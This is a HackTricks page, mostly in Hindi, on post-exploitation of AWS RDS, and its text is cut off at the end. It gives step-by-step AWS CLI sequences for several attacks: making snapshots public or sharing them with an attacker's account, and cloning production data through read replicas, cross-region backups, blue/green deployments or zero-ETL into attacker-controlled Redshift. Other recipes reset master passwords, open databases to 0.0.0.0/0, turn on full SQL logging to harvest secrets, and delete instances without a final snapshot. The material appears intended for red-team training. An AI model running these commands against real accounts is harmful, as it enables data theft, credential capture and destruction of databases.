AWS - RDS Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।

RDS

अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

`rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

यदि attacker के पास पर्याप्त अनुमतियाँ हैं, तो वह DB का snapshot बनाकर और फिर उस snapshot से एक DB सार्वजनिक रूप से उपलब्ध बनाकर उसे सार्वजनिक रूप से उपलब्ध कर सकता है.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

`rds:StopDBCluster` & `rds:StopDBInstance`

attacker के पास rds:StopDBCluster या rds:StopDBInstance होने पर वह किसी RDS instance या पूरे cluster को तुरंत रोक सकता है, जिससे डेटाबेस अनुपलब्धता, टूटे हुए कनेक्शन, और डेटाबेस पर निर्भर प्रक्रियाओं में बाधा आ सकती है।

एक DB instance को रोकने के लिए (उदाहरण):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

पूरे DB cluster को रोकने के लिए (उदाहरण):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

`rds:Modify*`

rds:Modify* अनुमति प्राप्त एक हमलावर महत्वपूर्ण कॉन्फ़िगरेशन और सहायक संसाधनों (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, आदि) को सीधे इंस्टेंस या क्लस्टर को छुए बिना बदल सकता है। कनेक्शन/टाइम-आउट पैरामीटर समायोजित करने, किसी proxy endpoint को बदलने, किस certificates को ट्रस्ट किया जाए बदलने, logical capacity में संशोधन करने, या किसी subnet group को पुनः कॉन्फ़िगर करने जैसे परिवर्तन सुरक्षा को कमजोर कर सकते हैं (नए एक्सेस पथ खोलना), routing और load-balancing को तोड़ सकते हैं, replication/backup नीतियों को अमान्य कर सकते हैं, और सामान्यतः availability या recoverability को कम कर सकते हैं। ये परिवर्तन अप्रत्यक्ष data exfiltration को भी आसान बना सकते हैं या किसी घटना के बाद डेटाबेस की व्यवस्थित recovery में बाधा डाल सकते हैं।

RDS subnet group को आवंटित सबनेट्स को स्थानांतरित या बदलें:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

cluster parameter group में low-level engine parameters बदलें:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

`rds:Restore*`

rds:Restore* permissions वाले हमलावर snapshots, automated backups, point-in-time recovery (PITR), या S3 में स्टोर फाइल्स से पूरे डेटाबेस को restore कर सकते हैं, और चुने गए point के डेटा से populated नए instances या clusters बना सकते हैं। ये operations मूल resources को overwrite नहीं करते — ये historical data वाले नए objects बनाते हैं — जिससे हमलावर को डेटाबेस की पूरी, functional copies (अतीत के time points से या external S3 फाइल्स से) प्राप्त करने और उनका उपयोग करके exfiltrate data करने, historical records को manipulate करने, या पुराने states को पुनर्निर्माण करने की अनुमति मिलती है।

Restore a DB instance to a specific point in time:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

`rds:Delete*`

An attacker को rds:Delete* दिया गया हो तो वह RDS संसाधनों को हटा सकता है — DB इंस्टेंस, क्लस्टर, स्नैपशॉट, स्वचालित बैकअप, सबनेट समूह, पैरामीटर/ऑप्शन समूह और संबंधित आर्टिफैक्ट्स को हटाकर — जिससे तत्काल सेवा बंद होना, डेटा हानि, रिकवरी पॉइंट्स का विनाश और फॉरेंसिक साक्ष्यों का नुकसान हो सकता है।

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

`rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

इन अनुमतियों के साथ एक हमलावर DB का स्नैपशॉट बना सकता है और उसे सार्वजनिक रूप से उपलब्ध करवा सकता है। फिर वह अपने खाते में उस स्नैपशॉट से एक DB बना सकता है।

यदि हमलावर के पास rds:CreateDBSnapshot नहीं है, तब भी वह बनाए गए अन्य स्नैपशॉट्स को सार्वजनिक बना सकता है।

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

`rds:DownloadDBLogFilePortion`

जिसके पास rds:DownloadDBLogFilePortion अनुमति है, वह RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है। यदि संवेदनशील डेटा या पहुँच प्रमाण-पत्र गलती से लॉग हो गए हों, तो हमलावर संभावित रूप से इन जानकारियों का उपयोग अपने अधिकार बढ़ाने या अनधिकृत क्रियाएँ करने के लिए कर सकता है।

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

संभावित प्रभाव: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ।

`rds:DeleteDBInstance`

एक attacker जिसके पास ये permissions हों वह DoS existing RDS instances कर सकता है।

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

संभावित प्रभाव: मौजूदा RDS इंस्टेंस को हटाया जाना और संभावित डेटा हानि।

`rds:StartExportTask`

Note

TODO: परीक्षण करें

एक हमलावर जिसके पास यह अनुमति है, export an RDS instance snapshot to an S3 bucket कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच सकते हैं।

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

संभावित प्रभाव: निर्यातित स्नैपशॉट में संवेदनशील डेटा तक पहुंच।

Cross-Region Automated Backups Replication का दुरुपयोग करके छुपकर रिस्टोर (`rds:StartDBInstanceAutomatedBackupsReplication`)

Cross-Region automated backups replication का दुरुपयोग करके किसी RDS instance के automated backups को चुपचाप एक अन्य AWS Region में डुप्लिकेट करके वहां restore किया जा सकता है। फिर हमलावर restore किए गए DB को सार्वजनिक रूप से पहुँच योग्य बना सकता है और master password को रिसेट करके उस Region में defenders के नजर न रखने पर data तक out-of-band पहुंच बना सकता है।

Permissions needed (minimum):

rds:StartDBInstanceAutomatedBackupsReplication destination Region में
rds:DescribeDBInstanceAutomatedBackups destination Region में
rds:RestoreDBInstanceToPointInTime destination Region में
rds:ModifyDBInstance destination Region में
rds:StopDBInstanceAutomatedBackupsReplication (वैकल्पिक क्लीनअप)
ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (restore किए गए DB को एक्सपोज़ करने के लिए)

प्रभाव: Production डेटा की एक कॉपी को दूसरे Region में restore करके और उसे सार्वजनिक रूप से हमलावर-नियंत्रित क्रेडेंशियल्स से एक्सपोज़ करके persistence और data exfiltration संभव हो सकती है।

End-to-end CLI (placeholders बदलें)

```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### पूर्ण SQL logging via DB parameter groups and exfiltrate via RDS log APIs

Applications द्वारा execute किए गए सभी SQL statements को capture करने के लिए `rds:ModifyDBParameterGroup` और RDS log download APIs का दुरुपयोग करें (DB engine credentials की आवश्यकता नहीं)। Engine SQL logging सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` के माध्यम से खींचें (या REST `downloadCompleteLogFile`)। यह उन queries को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं।

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (केवल तब, जब instance default parameter group उपयोग कर रहा हो और custom parameter group attach करना हो)
- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot की आवश्यकता होती है, जैसे PostgreSQL)

कदम
1) Recon target and current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table

सुनिश्चित करें कि एक कस्टम DB parameter group जुड़ा हुआ है (default को संपादित नहीं किया जा सकता)

यदि instance पहले से ही किसी कस्टम समूह का उपयोग कर रही है, तो अगले चरण में उसके नाम का पुन: उपयोग करें।
अन्यथा, engine family से मेल खाने वाला एक बनाएँ और संलग्न करें:

# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"

विस्तृत SQL लॉगिंग सक्षम करें

MySQL engines (तुरंत / बिना रिबूट):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"

PostgreSQL इंजन (रीबूट आवश्यक):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>

वर्कलोड को चलने दें (या क्वेरीज़ जनरेट करें)। स्टेटमेंट्स engine file logs में लिखे जाएंगे

MySQL: general/mysql-general.log
PostgreSQL: postgresql.log

लॉग खोजें और डाउनलोड करें (कोई DB creds आवश्यक नहीं)

aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log

संवेदनशील डेटा के लिए ऑफ़लाइन विश्लेषण करें

grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

उदाहरण साक्ष्य (संपादित):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

सफाई

पैरामीटरों को डिफ़ॉल्ट पर वापस करें और आवश्यक होने पर reboot करें:

# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

प्रभाव: Post-exploitation के दौरान AWS APIs के माध्यम से सभी एप्लिकेशन SQL statements को कैप्चर करके डेटा एक्सेस (कोई DB creds नहीं), संभावित रूप से leaking secrets, JWTs, और PII।

`rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को नहीं बदलता), और वैकल्पिक रूप से डेटा exfiltrate करने के लिए replica को सार्वजनिक रूप से expose कर सकता है।

आवश्यक permissions (न्यूनतम):

rds:DescribeDBInstances
rds:CreateDBInstanceReadReplica
rds:ModifyDBInstance
ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

प्रभाव: attacker-नियंत्रित credentials वाले replica के माध्यम से production डेटा तक केवल-पढ़ने की पहुँच; primary अप्रभावित रहने और replication जारी रहने के कारण detection की संभावना कम।

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

उदाहरण साक्ष्य (MySQL):

रिप्लिका DB स्थिति: available, read replication: replicating
नए पासवर्ड के साथ सफल कनेक्शन और @@read_only=1 द्वारा read-only रिप्लिका एक्सेस की पुष्टि।

`rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

RDS Blue/Green का दुरुपयोग करके production DB को एक लगातार प्रतिकृत, read-only green environment में क्लोन करें। फिर green master credentials रीसेट करके बिना blue (prod) instance को छुए डेटा तक पहुँच प्राप्त करें। यह snapshot sharing की तुलना में अधिक गुप्त है और अक्सर केवल स्रोत पर केंद्रित monitoring को दरकिनार कर देता है।

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impact: उत्पादन इंस्टेंस को बदले बिना उत्पादन के लगभग वास्तविक-समय क्लोन तक केवल-पढ़ने का पूरा डेटा एक्सेस। स्टील्थी तरीके से डेटा निकालने और ऑफ़लाइन विश्लेषण के लिए उपयोगी।

RDS Data API के माध्यम से Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करना

Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint को सक्षम करें, master password को किसी ऐसे value पर रीसेट करें जिसका नियंत्रण आपके पास हो, और HTTPS पर SQL चलाएँ (कोई VPC नेटवर्क पाथ आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint का समर्थन करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।

Permissions (minimum):

rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
secretsmanager:CreateSecret
rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impact: नेटवर्क segmentation को बाइपास करके और बिना सीधे VPC कनेक्टिविटी के DB तक AWS APIs के माध्यम से डेटा exfiltrate करना।

एंड-टू-एंड CLI (Aurora MySQL उदाहरण)

```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

नोट्स:
- यदि multi-statement SQL को rds-data द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग execute-statement कॉल चलाएँ।
- जिन engines में modify-db-cluster --enable-http-endpoint का कोई प्रभाव नहीं होता, वहाँ rds enable-http-endpoint --resource-arn का उपयोग करें।
- सुनिश्चित करें कि engine/version वास्तव में Data API को सपोर्ट करता है; अन्यथा HttpEndpointEnabled False ही रहेगा।

### RDS Proxy auth secrets के जरिए DB क्रेडेंशियल्स प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy configuration का दुरुपयोग करके backend authentication के लिए उपयोग किए जा रहे Secrets Manager secret की पहचान करें, फिर database क्रेडेंशियल्स प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण में व्यापक `secretsmanager:GetSecretValue` अनुमति दी जाती है, जो DB क्रेडेंशियल्स तक पहुँचने का कम-प्रतिबंध वाला रास्ता बनाती है। यदि secret किसी CMK का उपयोग करता है, तो गलत-सीमांकित KMS permissions `kms:Decrypt` भी अनुमति दे सकते हैं।

आवश्यक अनुमतियाँ (न्यूनतम):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` उस संदर्भित SecretArn पर
- वैकल्पिक: यदि secret किसी CMK का उपयोग करता है तो उस key पर `kms:Decrypt`

प्रभाव: proxy पर कॉन्फ़िगर किए गए DB username/password का तत्काल खुलासा; सीधे DB एक्सेस या आगे की lateral movement सक्षम हो सकती है।

कदम
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

लैब (पुनरुत्पादन के लिए न्यूनतम)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

साफ़-सफाई (लैब)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Aurora zero‑ETL के माध्यम से Amazon Redshift में छिपी हुई सतत डेटा निकासी (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके प्रोडक्शन डेटा को लगातार आपके नियंत्रण वाले Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो किसी specific Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करती है, एक attacker को DB creds, snapshots या network exposure के बिना लगभग real‑time डेटा कॉपी स्थापित करने में सक्षम बनाती है।

Permissions needed (minimum):

rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (query करने के लिए)
rds-data:ExecuteStatement (वैकल्पिक; आवश्यक होने पर data seed करने के लिए)

Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Redshift Serverless namespace और workgroup बनाएं

```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```

2) Aurora स्रोत को अनुमति देने के लिए Redshift resource policy कॉन्फ़िगर करें

```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <

3) Aurora PostgreSQL क्लस्टर बनाएं (Data API और logical replication सक्षम करें)

